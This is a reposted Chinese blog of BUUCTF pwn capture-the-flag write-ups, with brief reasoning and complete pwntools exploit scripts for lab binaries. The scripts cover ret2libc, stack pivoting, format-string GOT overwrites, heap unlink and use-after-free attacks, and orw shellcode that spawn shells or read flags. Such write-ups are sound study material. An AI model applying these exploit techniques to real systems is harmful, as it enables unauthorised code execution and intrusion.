p = remote('node4.buuoj.cn', 28797)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')
 
leave = 0x400A18
ret = 0x400709
rdi = 0x400ad3
 
# first attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(rdi) + p64(elf.got['puts']) +  p64(elf.sym['puts']) + p64(0x4008F6)
payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)

p.recvline()
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
one_gadget = libcbase + 0x4f322
 
# second attack
p.sendlineafter(b'How many bytes of your message?\n', b'224')
p.recvuntil(b'Your message will be saved at ')
buff = int(p.recv(14), 16)
print('buff => ', hex(buff))
payload = p64(0) + p64(ret) + p64(rdi) + p64(buff+0x28) + p64(system) + b'/bin/sh\x00'

payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave)
p.sendafter(b'>', payload)
p.interactive()

inndy_echo

思路:

又是经典的格式化字符串漏洞,还是栈上的,这种太简单了,直接上exp把

Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#----------------------------------------------------------------------------------------
#p=process("./echo")
elf=ELF("./echo")
p=remote("node5.buuoj.cn",26113)
printf_got=elf.got["printf"]
system_addr=elf.sym["system"]
#p.sendline(payload)
#debug('b *0x080485B9')
payload=fmtstr_payload(7, {printf_got: system_addr})

sl(payload)
r()
pause()
sl(b'sh\x00')
inter()

picoctf_2018_leak_me

思路:

程序逻辑很简单只要猜对password了就给flag,但是我们是不可能去猜的没辙了可以看到

v5和s靠的比较进,而且后面还会puts(s),那么我们只需要通过合理输入v5的字长即可得到password,从而getshell

Exp:

from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",27505)
payload=b'a'*0x100
p.sendline(b'a'*0xf0)
p.recv(0xf0)
p.recvline()
p.recv(14)
p.sendline(p.recv())
print(p.recv())

hitcontraining_unlink

思路:

和上面那道hitcontraining_bamboobox一模一样,没啥好说的

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",27029)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'Your choice:', '2')
    p.sendlineafter(b'Please enter the length of item name:', str(size))
    p.sendafter(b'Please enter the name of item:', content)
def show():
    p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
    p.sendlineafter(b'Your choice:', '3')
    p.sendlineafter(b'Please enter the index of item:', str(index))
    p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
    p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
    p.sendlineafter(b'Your choice:', '4')
    p.sendlineafter(b'Please enter the index of item:', str(index))

def get_shell():
    p.sendlineafter(b'Your choice:', '/bin/sh\x00')
 

heap=0x6020c8
add(0x81,b'a'*8)
add(0x81,b'a'*2)
add(0x18,b'b'*2)
edit(0,p64(0)+p64(0x81)+p64(heap-0x18)+p64(heap-0x10)+b'\x00'*0x60+p64(0x80)+p64(0x90))
#debug()
free(1)
add(0x81,b'a'*2)
edit(0,p64(0)*2+p64(0x81)+p64(0x602018)+p64(0x81)+p64(0x6020c0))
show()
p.recvuntil(b'0 : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["free"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
edit(1,p64(0x81)+p64(elf.got["atoi"]))
edit(0,p64(system))
get_shell()
p.interactive()

wustctf2020_easyfast

思路:

一道没有菜单的堆题,典型的uaf漏洞

而且还给了后门,那么随便打了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
p = process('./pwn')
#p = remote("node5.buuoj.cn",27116)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
 
def debug():
    gdb.attach(p)
    pause()
def add(size):
        p.sendlineafter(b'choice>\n', '1')
        p.sendlineafter(b'size>\n', str(size))
def free(index):
        p.sendlineafter(b'choice>\n', '2')
        p.sendlineafter(b'index>\n', str(index))
def edit(index, content):
        p.sendlineafter(b'choice>\n', '3')
        p.sendlineafter(b'index>\n', str(index))
        p.send(content)
    

add(0x40)
#add(0x71)

free(0)
edit(0,p64(0x602080))
debug()
add(0x40)

add(0x40)
edit(2,p64(0))
#debug()

p.sendlineafter(b'choice>\n', '4')
p.interactive()

[极客大挑战 2019]Not Bad

思路:

这道题看起来也泄露不了栈地址,但是我们可以看到程序在0x123000开辟了一段可写可执行空间

那么我们就可以通过栈迁移往这里写值,但是问题来了,我们怎么往这里写值。我们的read是往栈上写值的。这里我们需要用到read的汇编利用,我们可以提前控制rbp的值,然后再让程序返回到

这个0x400A28的位置,然后程序就会根据我们rbp的值再加上一些偏移,赋值给rsi,最后实现往0x123000+偏移的地方写值,但是这里的0x38的字长,再加上偏移还是不够我们写orw,所以我们可以再执行一次read,来获取更多的字长,然后如果在调试时发现位置不对的话,可以通过nop滑梯滑到正确的地方执行orw。

Exp:

from pwn import *
#p=process("./pwn")
#gdb.attach(p,'b *0x400A39 ')
context.log_level='debug'
p=remote("node5.buuoj.cn",28298)
context(os = 'linux', arch = 'amd64')
buf=0x123200
sc=shellcraft.open('/flag')#pwntools自带的生成这个函数的代码

sc+=shellcraft.read(3,buf,0x30)

sc+=shellcraft.write(1,buf,0x30)
shellcode=asm(
'''
mov rax, 0          
mov rdi, 0         
lea rsi, [0x12301f]  
mov rdx, 160       
syscall  
'''         
)
p.send(b'a'*0x20+p64(0x123000+0x20)+p64(0x400A28)+b'a'*8)
pause()
p.send(shellcode+b'\x00'*2+p64(0x60)+p64(0x1230))
pause()
p.recv()
p.send(b'\x90'*22+asm(sc))
print(p.recv())
pause()

axb_2019_fmt64

思路:

格式化字符串漏洞

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 22713)
elf = ELF('./pwn')
libc = ELF('libc-2.23-x64.so')
 
p.recv()
 
# leak libcbase
payload = b'stop%9$s' + p64(elf.got['puts'])
p.sendline(payload)
 
p.recvuntil('stop')
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
 
# printf => system
payload = fmtstr_payload(8, {elf.got['printf']:system}, write_size = 'byte', numbwritten = 0x9)
p.sendline(payload)
 
# pwn
p.sendline(b';/bin/sh\x00')
p.interactive()

wustctf2020_name_your_cat

思路:

这里存在数组越界,而且又有后门函数,然后还有循环五次,直接该返回地址为shell即可

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
p = process('./pwn')
#p = remote('node4.buuoj.cn', 29713)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
 
 
for i in range(5):
p.recv()
p.sendline(b'7')
p.recv()
p.sendline(p32(elf.sym['shell']))
p.interactive()

actf_2019_babyheap

思路:

又是一道菜单堆题,而且还有uaf漏洞,还是libc2.27的

那么我们就可以任意地址写了,这里虽然got表是不可写的,但是从菜单中可以看出来我们有system表象,再看看这个show

我们只要把这个show的功能改为system,再在堆块里面填充sh\x00即可getshell

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",29971)
elf = ELF('./pwn')
libc = ELF('libc-2.27_18_64.so')
 
def debug():
    gdb.attach(p)

def add(size, content):
    p.sendlineafter(b'Your choice: ', '1')
    p.sendlineafter(b'Please input size: \n', str(size))
    p.sendafter(b'Please input content: \n', content)
def free(index):
    p.sendlineafter(b'Your choice: ', '2')
    p.sendlineafter(b'Please input list index: \n', str(index))
def show(index):
    p.sendlineafter(b'Your choice: ', '3')
    p.sendlineafter(b'Please input list index: \n', str(index))
    
add(0x18,b'sh\x00')#0
add(0x20,b'a'*0x20)#1
free(0)
free(1)
free(0)
add(0x18,p8(0x50))

add(0x18,p64(0x602010)+p64(elf.sym["system"]))#0
#debug()
show(0)
p.interactive()

cmcc_pwnme1

思路:

漏洞点位于getfruit函数,存在栈溢出,然后

这里一个getflag的后门函数,不在根目录下大概率不对,我还是直接打ret2libc吧

Exp:

from pwn import *
#p=process("./pwnme1")
elf=ELF("./pwnme1")
libc=ELF("libc-2.23_16_32.so")
p=remote("node5.buuoj.cn",28863)
p.sendline(b'5')
p.recv()
#gdb.attach(p)
payload=b'a'*(0xa4+0x4)+p32(elf.sym["puts"])+p32(elf.sym["main"])+p32(elf.got["puts"])
p.sendline(payload)
p.recvline()
pause()
libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b'sh\x00'))

p.sendline(b'5')

payload1=b'a'*(0xa4+0x4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload1)

print(hex(libc_base))
p.interactive()
pause()

wdb2018_guess

思路:

栈溢出漏洞,由于泄露不了canary,那么我们可以将指向程序名的 argv[0] 改为 flag 的地址。

可以通过p &__libc_argv[0]来找到栈上的程序名,由于flag的地址是写在栈上的,所以这道题的思维点就是如何泄露栈地址。

这里可以通过先把got表替换程序名,把libcbase泄露出来,再通过libc_base里面的environ,可以找到__libc_argv[0]的栈地址,从而得出flag的栈地址,再通过stack smash来泄露即可。

不过令人崩溃的是这题目的环境,有时候本地打通了,远程又打不通。即使patch了也是如此

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
#context(os = 'linux', arch = 'amd64')

#p = process('./GUESS')
#gdb.attach(p)
p = remote("node5.buuoj.cn",28852)
elf = ELF('./GUESS')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_64.so')
 
# leak libcbase
p.recv()
payload = b'a'*0x128 + p64(elf.got['puts'])
p.sendline(payload)

pause()

puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
print(hex(libcbase))
environ = libcbase + libc.sym['__environ']
 
# leak stack_environ
p.recv()
payload = b'a'*0x128 + p64(environ)
p.sendline(payload)
print('environ => ', hex(environ))
stack_environ = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
 
# leak flag
p.recv()
payload = b'a'*0x128 + p64(stack_environ - 0x168)
p.sendline(payload)
p.recv()
print(p.recv())
print(p.recv())
pause()

axb_2019_brop64

思路:

不知道是不是要盲打的,不过有附件的话那么就是一道简单的ret2libc了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26203)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
 
rdi = 0x400963
 
payload = b'If there is a chance,I won\'t make any mistake!\n\x00'
payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendafter(b'Please tell me:', payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'If there is a chance,I won\'t make any mistake!\n\x00'
payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(binsh) + p64(system)
p.sendafter(b'Please tell me:', payload)
p.interactive()

ciscn_2019_final_3

思路:

c++菜单堆题,这里只有add和free功能

也是存在uaf漏洞,题目还单独给了libc,果然是libc2.27的版本,但是由于patch在我22的虚拟机上不成功,看其他师傅说貌似是需要18的虚拟机,但是我18的环境还没配好,所以先放一下这题,等我以后来看看

Exp:

ciscn_2019_es_1

思路:

libc2.27下的菜单堆题,存在uaf漏洞,其他没啥好说的

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",27746)
elf = ELF('./pwn')
libc = ELF('libc_18_64.so')
 
def debug():
    gdb.attach(p)
    pause()
def add(size, name, call):
    p.sendlineafter(b'choice:', '1')
    p.sendlineafter(b'Please input the size of compary\'s name\n', str(size))
    p.sendafter(b'please input name:\n', name)
    p.sendafter(b'please input compary call:\n', call)
def show(index):
    p.sendlineafter(b'choice:', '2')
    p.sendlineafter(b'Please input the index:\n', str(index))
def free(index):
    p.sendlineafter(b'choice:', '3')
    p.sendlineafter(b'Please input the index:\n', str(index))
    
    

#leak
add(0x410,b'a',b'233')#idx(0)
add(0x40,b'b',b'233')#idx(1)
add(0x40,b'c',b'233')#idx(2)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
system=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]
#change fd
free(2)
free(1)
free(2)
#free_hook attack
add(0x40,p64(free_hook),b'233')#idx(2)
add(0x40,b'c',b'233')#idx(1)
add(0x40,b'/bin/sh\x00',b'233')#idx(2)
add(0x40,p64(system),b'233')#idx(3)
print(hex(libc_base))
free(2)
p.interactive()

本文转载自: https://blog.csdn.net/2303_79366759/article/details/140539243
版权归原作者 m5t0ck 所有, 如有侵权,请联系我们删除。

“pwn入门-buu刷题第三页题解(32道)(持续更新中)”的评论:

还没有评论